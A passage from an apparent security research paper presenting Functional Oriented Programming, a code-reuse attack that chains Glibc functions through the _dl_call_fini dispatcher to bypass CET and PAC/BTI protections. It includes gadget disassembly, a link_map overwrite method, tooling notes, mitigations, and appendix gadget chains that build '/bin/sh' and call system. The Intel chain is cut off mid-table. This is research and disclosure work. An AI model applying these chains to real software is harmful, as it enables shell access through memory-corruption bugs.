2: Dword [16 + RDI] = 0xffffffff + [16 + RDI]

Jump Constraints:

Qword [RDI] != 0

Dword [16 + RDI] != 1

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

0000000000026bb0 <__gconv_release_step>:

26bb0: f3 0f 1e fa endbr64

26bb4: 55 push rbp

26bb5: 53 push rbx

26bb6: 48 89 fb mov rbx,rdi

26bb9: 48 83 ec 08 sub rsp,0x8

26bbd: 48 8b 3f mov rdi,QWORD PTR [rdi] 26bc0: 48 85 ff test rdi,rdi

26bc3: 74 43 je 26c08 <__gconv_release_step+0x58> 26bc5: 83 6b 10 01 sub DWORD PTR [rbx+0x10],0x1 26bc9: 75 32 jne 26bfd <__gconv_release_step+0x4d> ...

26bfd: 48 83 c4 08 add rsp,0x8

26c01: 5b pop rbx

26c02: 5d pop rbp

26c03: c3 ret

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

```

These gadgets demonstrate a few examples of gadgets that can be found within Glibc. They also highlight a feature that has not been directly mentioned yet, this being that any function that contains a valid landing pad could become a gadget. This means that the function does not need to be an exported function but can be Glibc internal functions that a programmer may not have knowledge about. One bit of information to note is that exported functions `SHOULD` be more likely to contain the needed landing pad instruction compared to internal functions.

‑‑‑‑| 4. FOP Dispatcher Gadget

While the abundance of gadgets is noteworthy, their utility is greatly diminished without a dispatcher. In the context of a FOP attack, a dispatcher serves as the orchestrator of our gadgets. Since FOP attacks are restricted from modifying the stack to comply with protection schemes, a dispatcher becomes essential for managing the loading and execution of subsequent gadgets.

In essence, a dispatcher in FOP resembles those employed in JOP, wherein the dispatcher loads a memory location and then jumps to or calls that address. However, the primary distinction lies in the dispatcher's need to operate within the constraints imposed by existing protections. This means refraining from direct jumps to the dispatcher itself, while ensuring that landing at a valid landing pad instruction enables effective access to the dispatcher. Moreover, the dispatcher must maintain adequate control to initiate a FOP attack while adhering to the restrictions imposed by these new security measures.

When it comes to identifying dispatcher gadgets, a crucial aspect is assessing how the dispatcher utilizes available resources. Specifically, this involves analyzing the manipulation of key registers during the dispatching process. These key registers typically correspond to the calling convention within the architecture and host environment. For instance, in Intel architectures these registers include RDI, RSI, RDX, and RCX, while in ARM architectures they are R0, R1, R2, and R3.

The same tooling employed for identifying gadgets can also be utilized to identify dispatchers. Through this process, it was determined that all tested Glibc versions across all architectures contained at least one dispatcher that is accessible during normal execution.

One such dispatcher gadget, described below, is located within the `_dl_call_fini` function. In earlier versions of Glibc, this functionality was integrated within `_dl_fini`. However, starting from version 2.37, it was separated into its own distinct function. `_dl_call_fini` is typically invoked during the exit routines of a binary, either after `exit(0)` has been called or when the binary has returned normally from the `main` function.

‑‑‑‑‑‑‑‑| 4.1 _dl_call_fini Dispatcher Gadget

Below is the code snippet extracted from the GLibc 2.39 source code:

```

void

_dl_call_fini (void *closure_map)

{

struct link_map *map = closure_map;

/* Make sure nothing happens if we are called twice. */

map‑>l_init_called = 0;

ElfW(Dyn) *fini_array = map‑>l_info[DT_FINI_ARRAY];

if (fini_array != NULL)

{

ElfW(Addr) *array = (ElfW(Addr) *) (map‑>l_addr

fini_array‑>d_un.d_ptr);

size_t sz = (map‑>l_info[DT_FINI_ARRAYSZ]‑>d_un.d_val / sizeof (ElfW(Addr)));

while (sz‑‑ > 0)

((fini_t) array[sz]) ();

}

/* Next try the old‑style destructor. */

ElfW(Dyn) *fini = map‑>l_info[DT_FINI];

if (fini != NULL)

DL_CALL_DT_FINI (map, ((void *) map‑>l_addr + fini‑>d_un.d_ptr)); }

```

Indeed, the provided code snippet showcases a 'while' loop that iterates through an array of function pointers and invokes them, as long as the size variable remains greater than zero. To gain insight into the nature and location of these values, we can examine the `link_map` structure utilized for the map. Below is a truncated version of this structure:

```

struct link_map

{

/* These first few members are part of the protocol with the debugger.

This is the same format used in SVR4. */

ElfW(Addr) l_addr; /* Difference between the address in the ELF

file and the addresses in memory. */

char *l_name; /* Absolute file name object was found in. */

ElfW(Dyn) *l_ld; /* Dynamic section of the shared object. */

struct link_map *l_next, *l_prev; /* Chain of loaded objects. */

/* All following members are internal to the dynamic linker.

They may change without notice. */

/* This is an element that is only ever different from a pointer to

the very same copy of this type for ld.so when it is used in more than one namespace. */

struct link_map *l_real;

/* Number of the namespace this link map belongs to. */

Lmid_t l_ns;

struct libname_list *l_libname;

ElfW(Dyn) *l_info[DT_NUM + DT_THISPROCNUM

+ DT_VERSIONTAGNUM + DT_EXTRANUM + DT_VALNUM + DT_ADDRNUM]; ```

‑‑‑‑‑‑‑‑| 4.2 link_map Examination

Let's delve into a brief analysis of the expected values and their locations within the `link_map` structure.

1. l_addr: This member typically points to the first page of a program's memory. It serves as a reference for accessing various offsets or values within the binary. By keeping track of the main address, programs can efficiently navigate their memory space.

2. l_info: This member contains an offset pointer that specifies the location of data stored within the main program's memory‑mapped pages. In conjunction with `l_addr`, it facilitates the determination of the exact address of the structure to which `l_info` points. In this context, `l_info` typically points to the dynamic table, which plays a crucial role during process creation for dynamic allocations and memory loading.

Within the dynamic table two noteworthy fields emerge:

‑ DT_FINI_ARRAY: This field points to an array of function pointers intended to be executed at the end of program execution.

‑ DT_FINI_ARRAY_SZ: As implied, this field denotes the size of the `DT_FINI_ARRAY` array.

It is worth noting that these values and pointers are typically located in read‑only memory within the binary. This is an important consideration, as it prevents tampering with these arrays, mitigating potential exploitation methods such as the dtors and ctors attacks of the past [15].

To give a very brief explanation of the importance of the `link_map` structure, I will defer to the few comments within the source, located right before this structure definition:

```

/*

Structure describing a loaded shared object. The `l_next' and `l_prev' members form a chain of all the shared objects loaded at startup.

These data structures exist in space used by the run‑time dynamic linker; modifying them may have disastrous results.

This data structure might change in the future, if necessary. User‑level programs must avoid defining objects of this type.

*/

```

The `link_map` structure houses various pointers and registered values essential for linker operations. As cautioned by the comment, altering these values at runtime can lead to dire consequences. Of particular significance here is the dynamic access of `l_info` and `l_addr` within `_dl_call_fini`. This suggests that modifying either of these values provides the capability to influence the location from which the function array is accessed. Additionally, adjusting `l_addr` could impact the size variable, adding to the potential for manipulation and control.

The alteration of these values holds the potential to seize control of program execution. When coupled with the previously identified gadgets, such modifications can culminate in complete control over the program, akin to the capabilities observed ROP and JOP attacks. An additional crucial aspect worth examining is the structure of the loop in memory, as this factor can significantly influence the success or failure of a FOP attack:

```

10d4: 49 8d 1c d4 lea (%r12,%rdx,8),%rbx 10d8: 0f 1f 84 00 00 00 00 nopl 0x0(%rax,%rax,1) 10df: 00

10e0: ff 13 call *(%rbx) 10e2: 48 89 d8 mov %rbx,%rax 10e5: 48 83 eb 08 sub $0x8,%rbx 10e9: 49 39 c4 cmp %rax,%r12 10ec: 75 f2 jne 10e0 <_dl_call_fini+0x50> ```

As evident from the provided code snippet, the `dl_fini_array` is loaded into RBX at the memory address 0x10d4, positioned towards the end of the array and traversed backward. It's essential to highlight that there's no direct counter; rather, a comparison occurs between the current index (RBX/RAX) and the beginning of the array (R12), followed by an unconditional jump without additional checks. Consequently, targeting this call loop does not involve modification of any crucial registers, thus preserving their integrity.

‑‑‑‑| 5. Symbolic Engine

This section delves deeper into the symbolic engine and the approach taken within the tooling. The original tooling was built upon an older and currently unsupported framework called pysymemu [19]. Despite its lack of updates and support for Python 3, pysymemu was chosen because it provided one of the easiest frameworks to understand at a low level, allowing for the extraction of necessary functionalities. This included updates to incorporate more modern Z3 functionality for symbolic expressions.

The tooling relies exclusively on core files for identifying potential gadgets, which means the core file must include all executable sections. Normally, core files avoid dumping executable sections to save space, assuming that all libraries can be reloaded from memory. To ensure the necessary sections are included, the following command can be used to include the needed sections from a core dump:

`echo 0x37 > /proc/self/coredump_filter`

The meaning behind 0x37 can be examined in more detail in the core man page `man core`. In essence is that this filter includes the ability to save file‑backed mappings.

Overall, the tooling uses a modified version of this symbolic engine in a two‑step approach to identifying FOP gadgets.

‑‑‑‑‑‑‑‑| 5.1 Phase 1: Static Analysis

The first step involves identifying potential gadgets in an entirely static manner by walking through potential gadgets until a return instruction is found. The starting point of a gadget is marked by the ENDBR64 instruction in x64 or the BTI instruction in ARM. If the maximum gadget depth is reached before a return instruction is found, the path is abandoned, and the next path is examined.

This means that the path identified in this first phase will be the required path taken by the symbolic engine in phase 2.

This stage 1 approach of static analysis can also be used for identifying potential dispatcher gadgets. While the tooling may produce some false positives due to a less fine‑grained examination, it ensures that no potential gadgets are overlooked.

‑‑‑‑‑‑‑‑| 5.2 Phase 2: Symbolic Execution

In phase 2, the symbolic execution engine is employed to examine each potential gadget identified in the first stage. The symbolic environment is set up to closely mirror the running environment based on the core file used for gadget identification. This involves hosting memory segments and executable memory space to analyze potential memory accesses or value transfers. All operations are tracked and reset between examinations of potential gadgets to ensure accuracy and consistency.

During the symbolic stage, there are several potential termination conditions, known as kill states. These include potential infinite loops that may have been passed during stage 1. Another example is impossible states, such as a memory comparison to a register value within a function. Since static analysis lacks knowledge of memory or register values, it may result in multiple potential paths being passed to the symbolic engine. If the symbolic engine determines that the memory does not currently hold the required value, the path may be deemed impossible and terminated.

Impossible paths can also arise when the static engine passes in an identified path, which should be a static set of instructions, but during the symbolic execution phase, this deviates from the path. This results in the engine determining the current path as invalid, as it diverged from the expected path identified in phase 1.

While this approach may be inefficient in some aspects, it helps determine the exact approach taken by a gadget, and confirms that the path taken is the correct one. This approach exemplifies the utilization of deterministic memory from the core file.

In its current state, the symbolic engine is only designed to handle deterministic paths, as nondeterministic paths generate more gadgets and are less reliable in environments where the memory is known.

‑‑‑‑| 6. Examples

While examples within text may seem mundane to some, for those who appreciate such illustrations, please stick around! The examples presented in this paper will now be demonstrated using the custom‑built GLibc 2.37 versions utilized for gadget identification earlier. These versions, alongside the examples, are attach at the end of this paper in Appendix C and where used for identification, along with the entire chains and associated code for testing purposes.

The test case involves a straightforward heap vulnerability that grants the ability to perform arbitrary memory writes. To demonstrate, a basic memory leak scenario is provided, showcasing the semi‑arbitrary nature of leaking an address within the given menu heap example. Subsequently, upon obtaining an arbitrary write capability, the `ld_addr` is overwritten with the address of our data on the heap, thereby enabling redirection to the desired chain.

Below, Appendix A and B present two FOP chains showcasing the ability to manipulate registers, memory, and execution state sufficiently to write the string "/bin/sh\x00" to memory and execute the `system` function on it, within both an Intel and an ARM context.

Additionally, the examples folder within the tooling repository contains several more examples, such as writing arbitrary shellcode to memory, `mprotect`‑ing the memory range, and then executing the shellcode. However, a simple "/bin/sh" shellcode was not included in this paper due to the FOP chain length extending into the thousands of gadgets, which would not be as visually appealing.

Altogether, the Intel chain comprised of 123 gadgets, 12 of which were unique, while the ARM chain consisted of approximately 140 gadgets, of which 15 were unique.

‑‑‑‑| 7. Final Thoughts

As illustrated in this paper, FOP emerges as a versatile technique poised to potentially succeed and replace ROP and JOP in the code‑reuse attack landscape. This shift coincides with the integration of modern CPU protections such as CET and PAC/BTI, which FOP is capable of defeating.

‑‑‑‑‑‑‑‑| 7.1 Constraints

However, despite its capabilities, several caveats must be considered when attempting to orchestrate a FOP chain‑based attack. Firstly, akin to ROP and JOP, initiating a FOP attack necessitates a memory corruption vulnerability. This typically requires an arbitrary write capability to gain sufficient access to a dispatcher, subsequently pointing to an attacker‑controlled chain.

Secondly, a memory leak is often imperative, mirroring the prerequisites of previous attacks like ROP. With the advent of Address Space Layout Randomization (ASLR) and Position Independent Executables (PIE), circumventing these protections remains a challenge for FOP techniques.

Lastly, perhaps the most significant hurdle lies in the size of FOP chains. As these attacks demand more intricate sequences, the chains can quickly balloon in size. For instance, the arbitrary shellcode example referenced in this paper utilizes over 1000 gadgets across both ARM and Intel architectures to write just a few dozen bytes to memory. This necessity may render the implementation of FOP attacks more arduous compared to ROP, which often requires only a handful of gadgets to achieve similar objectives.

‑‑‑‑‑‑‑‑| 7.2 Nomenclature

When deliberating over the appropriate designation for this technique, whether it should be termed FOP or use the previous nomenclature of LOP, it seemed prudent to consider the naming conventions of other similar techniques. Typically, these names derive from the predominant gadget type rather than the specific triggering instance. For instance, JOP is so named because its gadgets predominantly utilize jump instructions, rather than referring to whether the dispatcher incorporates a jump. Similarly, Call Oriented Programming (COP) is named based on the predominant gadget type rather than the nature of the throwing instance.

Given this pattern, FOP seems to align with established conventions, focusing on the predominant feature of the technique, functional‑oriented gadgets, rather than the specific throwing instance. However, it's important to acknowledge that this is largely a matter of preference and interpretation, and opinions may vary on the matter.

‑‑‑‑‑‑‑‑| 7.3 Architecture Differences

A noteworthy aspect within the realm of FOP is the comparative functionality between ARM and Intel architectures. ARM architecture boasts greater functionality within FOP when juxtaposed with Intel. While this may not be fully evident in the examples provided, as a non architecture‑dependent approach was taken when considering the important registers used in FOP, it is worth noting.

ARM architecture features the R0 register as the first parameter and the return register, allowing FOP to leverage not only the side‑effects of a function but also its return value. This grants ARM instances an added level of versatility in FOP techniques. In contrast, Intel architecture lacks this functionality, as the return instruction utilizes the RAX register. Consequently, no gadgets were identified to utilize the RAX register values in Intel architecture. This discrepancy is logical, given that RAX is not designated as a parameter register in the x86_64 specification, unlike in ARM architecture.

‑‑‑‑‑‑‑‑| 7.4 Turing Completeness

Although this paper did not delve into this area, the author believes that FOP can achieve Turing completeness given a sufficient set of functions in a program. FOP goes beyond conventional function operations included within Glibc; it also considers the usage of side effects of these functions when assessing the potential Turing completeness of the gadget set.

‑‑‑‑‑‑‑‑| 7.5 Kernel FOP

While not explored within the confines of this paper, it is worth noting that FOP has demonstrated success within kernel instances as well. Given the vast array of functions and capabilities within the kernel, it is unsurprising that there is an ample supply of gadgets and dispatchers to choose from within this domain. The following code excerpt from the Linux kernel [16] showcases one such function that could potentially serve as a dispatcher gadget, assuming control of RDI and non‑zero RSI. This scenario is feasible, as heap corruption techniques can often lead to primary register control from the outset:

```

void destroy_params(const struct kernel_param *params, unsigned num) {

unsigned int i;

for (i = 0; i < num; i++)

if (params[i].ops‑>free) params[i].ops‑>free(params[i].arg);

}

```

‑‑‑‑‑‑‑‑| 7.6 Future Work

In terms of future work, there are several avenues to explore within the realm of FOP. While existing tooling can identify FOP gadgets in a given instance, there's room for improvement in terms of speed and analysis techniques. Additionally, while FOP has been successfully demonstrated in Linux environments, there's potential to extend its application to other operating systems such as Windows or Apple environments.

Given Apple's implementation of PAC and BTI support in newer models of their devices, analyzing these techniques may yield valuable insights for future exploitation. Investigating the feasibility of utilizing FOP in these environments could open up new avenues for code reuse attacks and enhance our understanding of modern security protections. Therefore, future research efforts could focus on adapting FOP techniques to operate effectively within diverse operating system environments, including Windows and Apple platforms.

‑‑‑‑‑‑‑‑| 7.7 Possible Mitigations

Lastly, there exists the potential to mitigate these techniques. While Glibc developers might find it relatively straightforward to incorporate PAC authentication to the `link_map` structure on Linux ARM instances, it doesn't resolve the underlying issue. Such a patch could be circumvented by leveraging potential dispatchers found in a main program or secondary libraries to achieve similar effects.

Alternatively, the most effective approach to curtail FOP attacks is to introduce cleanup instructions at the end of every function. This would involve zeroing out parameter registers within both Intel and ARM architectures. For Intel, this shouldn't pose any issues, as parameter registers are typically volatile and not reused after a function call. However, with ARM, a potential complication arises with the R0 register, as it cannot be zeroed because it contains the return value.

This may allow potential gadgets to modify R0 and subsequently utilize its values within secondary calls to construct operational chains based on a single parameter register. While Glibc wasn't determined to contain the gadgets to accomplish this, it's not unreasonable to assume that such gadgets could exist in the future or in larger code bases. This mitigation approach does not protect against using FOP functions as intended, particularly when dispatch parameters can be controlled via memory corruption. The dispatcher shown in 7.5 is one such example.

‑‑‑‑‑‑‑‑| 7.8 Conclusion

In conclusion, this paper has delved into the nuances of Functional Oriented Programming (FOP), a technique that shows promise as a successor to traditional code reuse attacks such as Return‑Oriented Programming (ROP) and Jump‑Oriented Programming (JOP). Through comprehensive exploration and analysis, we've uncovered the versatility and potential of FOP across various architectures, including ARM and Intel. Looking ahead, the future of FOP holds opportunities for further research and development, with potential applications extending beyond Linux environments. As security landscapes evolve and adversaries adapt, understanding and addressing the nuances of FOP will be crucial in bolstering cyber defense strategies and safeguarding against emerging threats.

‑‑‑‑| 8. Acknowledgments

Large thanks to Rewzilla for the knowledge and time they have imparted upon me. Not only for proof reading this paper but for also leading me into the world of binary exploitation and low level assembly. Without their initial nudge into this world of information, I would not be have been able to make it to where I am today.

Another thanks to the Phrack team for all the work they do and for their time in giving feedback for this paper.

‑‑‑‑| 9. References

[1] H. Shacham, "The geometry of innocent flesh on the bone: return‑into‑libc without function calls (on the x86)," October, 2007. https://doi.org/10.1145/1315245.1315313

[2] S. Checkoway, L. Davi, A. Dmitrienko, A.‑R. Sadeghi, H. Shacham, and M. Winandy, "Return‑oriented programming without returns," October, 2010. https://dl.acm.org/doi/10.1145/1866307.1866370.

[3] T. Bletsch, X. Jiang, V. W. Freeh, and Z. Liang, "Jump‑oriented programming: a new class of code‑reuse attack," March, 2011. https://dl.acm.org/doi/10.1145/1966913.1966919

[4] T. Garrison, "Intel CET Answers Call to Protect Against Common Malware Threats," May, 2020. https://newsroom.intel.com/editorials/intel‑

cet‑answers‑call‑protect‑common‑malware‑threats/

[5] A. Mujumdar, "Armv8.1‑M architecture: PACBTI extensions ‑ Architectures and Processors blog ‑ Arm Community blogs ‑ Arm Community." April, 2021. https://community.arm.com/arm‑community‑blogs/b/architectures‑and‑

processors‑blog/posts/armv8‑1‑m‑pointer‑authentication‑and‑branchtarget‑identification‑extension

[6] Qualcomm, "Pointer Authentication on ARMv8.3: Design and Analysis of the New Software Security Instructions." January, 2017. https://www.qualcomm.com/content/dam/qcomm‑martech/dm‑assets/documents/

pointer‑auth‑v7.pdf

[7] Intel, "Intel vProÂ® PCs Feature Silicon‑Enabled Threat Detection." November, 2022. https://www.intel.com/content/www/us/en/architecture‑and‑

technology/pcs‑silicon‑enabled‑threat‑protection‑paper.html [8] M. Larabel, "Control‑Flow Enforcement Technology Begins To Land In GCC 8." August, 2017. https://www.phoronix.com/news/Intel‑CET‑GCC‑8‑Landing

[9] P. Zijlstra, "[PATCH 00/29] x86: Kernel IBT." February, 2022. https://lore.kernel.org/lkml/20220218164902.008644515@infradead.org/

[10] M. Tran, M. Etheridge, T. Bletsch, X. Jiang, V. Freeh, and P. Ning, "On the Expressiveness of Return‑into‑libc Attacks," 2011. https://link.springer.com/chapter/10.1007/978‑3‑642‑23644‑0_7

[11] B. Lan, Y. Li, H. Sun, C. Su, Y. Liu, and Q. Zeng, "Loop‑Oriented Programming: A New Code Reuse Attack to Bypass Modern Defenses," August, 2015. http://ieeexplore.ieee.org/document/7345282/

[12] Y. Guo, L. Chen, and G. Shi, "Function‑Oriented Programming: A New Class of Code Reuse Attack in C Applications," May, 2018. https://ieeexplore.ieee.org/document/8433189/

[13] T. Avgerinos, A. Rebert, S. K. Cha, and D. Brumley, "Enhancing Symbolic Execution with Veritesting," May, 2014. https://dl.acm.org/doi/10.1145/2568225.2568293

[14] LMS57, "LMS57/FOP_Mythoclast." January, 2024. https://github.com/LMS57/FOP_Mythoclast

[15] Juan M. Bello Rivas, "Overwriting the .dtors section." December, 2000. https://lwn.net/2000/1214/a/sec‑dtors.php3

[16] Linus Torvalds, "linux/kernel/params.c at master Â· torvalds/linux." https://github.com/torvalds/linux/blob/master/kernel/params.c#L757

[17] Offsec, "Bypassing Intel CET with Counterfeit Objects" August, 2022. https://www.offsec.com/blog/bypassing‑intel‑cet‑with‑counterfeit‑objects/

[18] F. Schuster, T. Tendyck, C. Liebchen, L. Davi, A.‑R. Sadeghi, and T. Holz, â€œCounterfeit Object‑oriented Programming: On the Difficulty of Preventing Code Reuse Attacks in C++ Applications,â€ May, 2015. https://ieeexplore.ieee.org/document/7163058

[19] feliam, â€œPySymEmu.â€ https://github.com/feliam/pysymemu

‑‑‑‑| 10. Appendix A: ARM "/bin/sh" in memory chain

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑

| Function Name | Equivalent Operation |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑

| __gconv_compare_... | MOV X3, 0x0 |

| free_mem | MOV X2, 0x0 |

| __libc_current_sigrtmin | MOV X0, 0x22 |

| __deadline_from_... | ADD X2, X2, X0 |

| __mq_nofity_fork_... | MOV X0, LIBC |

| pthread_getcpuclock... | MOV X0, 0x3 |

| __deadline_from_... | ADD X2, X2, X0 |

| __mq_nofity_fork_... | MOV X0, LIBC |

| pthread_getcpuclock... | MOV X0, 0x3 |

| __deadline_from_... | ADD X2, X2, X0 |

| __mq_nofity_fork_... | MOV X0, LIBC |

| pthread_getcpuclock... | MOV X0, 0x3 |

| __deadline_from_... | ADD X2, X2, X0 |

| __mq_nofity_fork_... | MOV X0, LIBC |

| pthread_getcpuclock... | MOV X0, 0x3 |

| __deadline_from_... | ADD X2, X2, X0 |

| xdr_void@GLIBC_2.17 | MOV X0, 0x1 |

| __deadline_from_... | ADD X2, X2, X0 |

| inet6_option_init | MOV X3, X0 |

| __mq_nofity_fork_... | MOV X0, LIBC |

| xdrmem_create... | MOV [X0], X3 #'/' |

| __gconv_compare_... | MOV X3, 0x0 |

| free_mem | MOV X2, 0x0 |

| __libc_current_sigrtmin | MOV X0, 0x22 |

| __deadline_from_... | ADD X2, X2, X0 |

| __deadline_from_... | ADD X2, X2, X0 |

| pthread_barrierattr_... | MOV X0, 0x16 |

| __deadline_from_... | ADD X2, X2, X0 |

| __mq_nofity_fork_... | MOV X0, LIBC |

| pthread_getcpuclock... | MOV X0, 0x3 |

| __deadline_from_... | ADD X2, X2, X0 |

| __mq_nofity_fork_... | MOV X0, LIBC |

| pthread_getcpuclock... | MOV X0, 0x3 |

| __deadline_from_... | ADD X2, X2, X0 |

| _svcauth_short | MOV X0, 0x2 |

| __deadline_from_... | ADD X2, X2, X0 |

| inet6_option_init | MOV X3, X0 |

| __mq_nofity_fork_... | MOV X0, LIBC |

| pthread_barrierattr_... | MOV X2, X0 |

| xdr_void@GLIBC_2.17 | MOV X0, 0x1 |

| __deadline_from_... | ADD X2, X2, X0 |

| xdrmem_create... | MOV [X0], X3 #'b' |

| __gconv_compare_... | MOV X3, 0x0 |

| free_mem | MOV X2, 0x0 |

| __profile_frequency | MOV X0, 0x64 |

| __deadline_from_... | ADD X2, X2, X0 |

| __mq_nofity_fork_... | MOV X0, LIBC |

| pthread_getcpuclock... | MOV X0, 0x3 |

| __deadline_from_... | ADD X2, X2, X0 |

| _svcauth_short | MOV X0, 0x2 |

| __deadline_from_... | ADD X2, X2, X0 |

| inet6_option_init | MOV X3, X0 |

| __mq_nofity_fork_... | MOV X0, LIBC |

| pthread_barrierattr_... | MOV X2, X0 |

| _svcauth_short | MOV X0, 0x2 |

| __deadline_from_... | ADD X2, X2, X0 |

| xdrmem_create... | MOV [X0], X3 #'i' |

| __gconv_compare_... | MOV X3, 0x0 |

| free_mem | MOV X2, 0x0 |

| xdr_void@GLIBC_2.17 | MOV X0, 0x1 |

| dysize | MOV X0, 0x16D |

| __deadline_from_... | ADD X2, X2, X0 |

| xdr_void@GLIBC_2.17 | MOV X0, 0x1 |

| __deadline_from_... | ADD X2, X2, X0 |

| inet6_option_init | MOV X3, X0 |

| __mq_nofity_fork_... | MOV X0, LIBC |

| pthread_barrierattr_... | MOV X2, X0 |

| __mq_nofity_fork_... | MOV X0, LIBC |

| pthread_getcpuclock... | MOV X0, 0x3 |

| __deadline_from_... | ADD X2, X2, X0 |

| xdrmem_create... | MOV [X0], X3 #'n' |

| __gconv_compare_... | MOV X3, 0x0 |

| free_mem | MOV X2, 0x0 |

| __libc_current_sigrtmin | MOV X0, 0x22 |

| __deadline_from_... | ADD X2, X2, X0 |

| __mq_nofity_fork_... | MOV X0, LIBC |

| pthread_getcpuclock... | MOV X0, 0x3 |

| __deadline_from_... | ADD X2, X2, X0 |

| __mq_nofity_fork_... | MOV X0, LIBC |

| pthread_getcpuclock... | MOV X0, 0x3 |

| __deadline_from_... | ADD X2, X2, X0 |

| __mq_nofity_fork_... | MOV X0, LIBC |

| pthread_getcpuclock... | MOV X0, 0x3 |

| __deadline_from_... | ADD X2, X2, X0 |

| __mq_nofity_fork_... | MOV X0, LIBC |

| pthread_getcpuclock... | MOV X0, 0x3 |

| __deadline_from_... | ADD X2, X2, X0 |

| xdr_void@GLIBC_2.17 | MOV X0, 0x1 |

| __deadline_from_... | ADD X2, X2, X0 |

| inet6_option_init | MOV X3, X0 |

| __mq_nofity_fork_... | MOV X0, LIBC |

| pthread_barrierattr_... | MOV X2, X0 |

| __mq_nofity_fork_... | MOV X0, LIBC |

| pthread_getcpuclock... | MOV X0, 0x3 |

| __deadline_from_... | ADD X2, X2, X0 |

| xdr_void@GLIBC_2.17 | MOV X0, 0x1 |

| __deadline_from_... | ADD X2, X2, X0 |

| xdrmem_create... | MOV [X0], X3 #'/' |

| __gconv_compare_... | MOV X3, 0x0 |

| free_mem | MOV X2, 0x0 |

| xdr_void@GLIBC_2.17 | MOV X0, 0x1 |

| dysize | MOV X0, 0x16D |

| __deadline_from_... | ADD X2, X2, X0 |

| __mq_nofity_fork_... | MOV X0, LIBC |

| pthread_getcpuclock... | MOV X0, 0x3 |

| __deadline_from_... | ADD X2, X2, X0 |

| __mq_nofity_fork_... | MOV X0, LIBC |

| pthread_getcpuclock... | MOV X0, 0x3 |

| __deadline_from_... | ADD X2, X2, X0 |

| inet6_option_init | MOV X3, X0 |

| __mq_nofity_fork_... | MOV X0, LIBC |

| pthread_barrierattr_... | MOV X2, X0 |

| __mq_nofity_fork_... | MOV X0, LIBC |

| pthread_getcpuclock... | MOV X0, 0x3 |

| __deadline_from_... | ADD X2, X2, X0 |

| _svcauth_short | MOV X0, 0x2 |

| __deadline_from_... | ADD X2, X2, X0 |

| xdrmem_create... | MOV [X0], X3 #'s' |

| __gconv_compare_... | MOV X3, 0x0 |

| free_mem | MOV X2, 0x0 |

| __profile_frequency | MOV X0, 0x64 |

| __deadline_from_... | ADD X2, X2, X0 |

| __mq_nofity_fork_... | MOV X0, LIBC |

| pthread_getcpuclock... | MOV X0, 0x3 |

| __deadline_from_... | ADD X2, X2, X0 |

| xdr_void@GLIBC_2.17 | MOV X0, 0x1 |

| __deadline_from_... | ADD X2, X2, X0 |

| inet6_option_init | MOV X3, X0 |

| __mq_nofity_fork_... | MOV X0, LIBC |

| pthread_barrierattr_... | MOV X2, X0 |

| __mq_nofity_fork_... | MOV X0, LIBC |

| pthread_getcpuclock... | MOV X0, 0x3 |

| __deadline_from_... | ADD X2, X2, X0 |

| __mq_nofity_fork_... | MOV X0, LIBC |

| pthread_getcpuclock... | MOV X0, 0x3 |

| __deadline_from_... | ADD X2, X2, X0 |

| xdrmem_create... | MOV [X0], X3 #'h' |

| __mq_nofity_fork_... | MOV X0, LIBC |

| system | SYSTEM |

| _exit | EXIT |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑‑| 11. Appendix B: Intel "/bin/sh" in memory chain

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑

| Function Name | Equivalent Operation |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑

| _nss_files_endpwent | MOV RDI, 0x6 |

| __cache_sysconf | SUB RDI, 0xB9 |

| __cache_sysconf | SUB RDI, 0xB9 |

| __cache_sysconf | SUB RDI, 0xB9 |

| __cache_sysconf | SUB RDI, 0xB9 |

| __cache_sysconf | SUB RDI, 0xB9 |

| __cache_sysconf | SUB RDI, 0xB9 |

| __cache_sysconf | SUB RDI, 0xB9 |

| __cache_sysconf | SUB RDI, 0xB9 |

| __cache_sysconf | SUB RDI, 0xB9 |

| __cache_sysconf | SUB RDI, 0xB9 |

| __cache_sysconf | SUB RDI, 0xB9 |

| __cache_sysconf | SUB RDI, 0xB9 |

| __cache_sysconf | SUB RDI, 0xB9 |

| __cache_sysconf | SUB RDI, 0xB9 |

| __cache_sysconf | SUB RDI, 0xB9 |

| _dl_mcount_wrapper... | MOV RSI, RDI |

| __default_pthread_attr... | MOV RDI, LIBC |

| _dl_tunable_set_... | MOV RDX, 0x1 |

| __memset_sse2... | MOV [RDI], SIL #'/' |

| endttyent | MOV RDI, 0x0 |

| __cache_sysconf | SUB RDI, 0xB9 |

| __cache_sysconf | SUB RDI, 0xB9 |

| __cache_sysconf | SUB RDI, 0xB9 |

| __cache_sysconf | SUB RDI, 0xB9 |

| __cache_sysconf | SUB RDI, 0xB9 |

| __libc_sa_len | SUB RDI, 0x1 |

| _dl_mcount_wrapper... | MOV RSI, RDI |

| __default_pthread_attr... | MOV RDI, LIBC |

| __hash_string | SET RDI TO END OF STRING |

| _dl_tunable_set_... | MOV RDX, 0x1 |

| __memset_sse2... | MOV [RDI], SIL #'b' |

| _nss_files_endpwent | MOV RDI, 0x6 |

| __cache_sysconf | SUB RDI, 0xB9 |

| __cache_sysconf | SUB RDI, 0xB9 |

| __cache_sysconf | SUB RDI, 0xB9 |

| __cache_sysconf | SUB RDI, 0xB9 |

| __cache_sysconf | SUB RDI, 0xB9 |

| _dl_mcount_wrapper... | MOV RSI, RDI |

| __default_pthread_attr... | MOV RDI, LIBC |

| __hash_string | SET RDI TO END OF STRING |

| _dl_tunable_set_... | MOV RDX, 0x1 |

| __memset_sse2... | MOV [RDI], SIL #'i' |

| endttyent | MOV RDI, 0x0 |

| __cache_sysconf | SUB RDI, 0xB9 |

| __cache_sysconf | SUB RDI, 0xB9 |

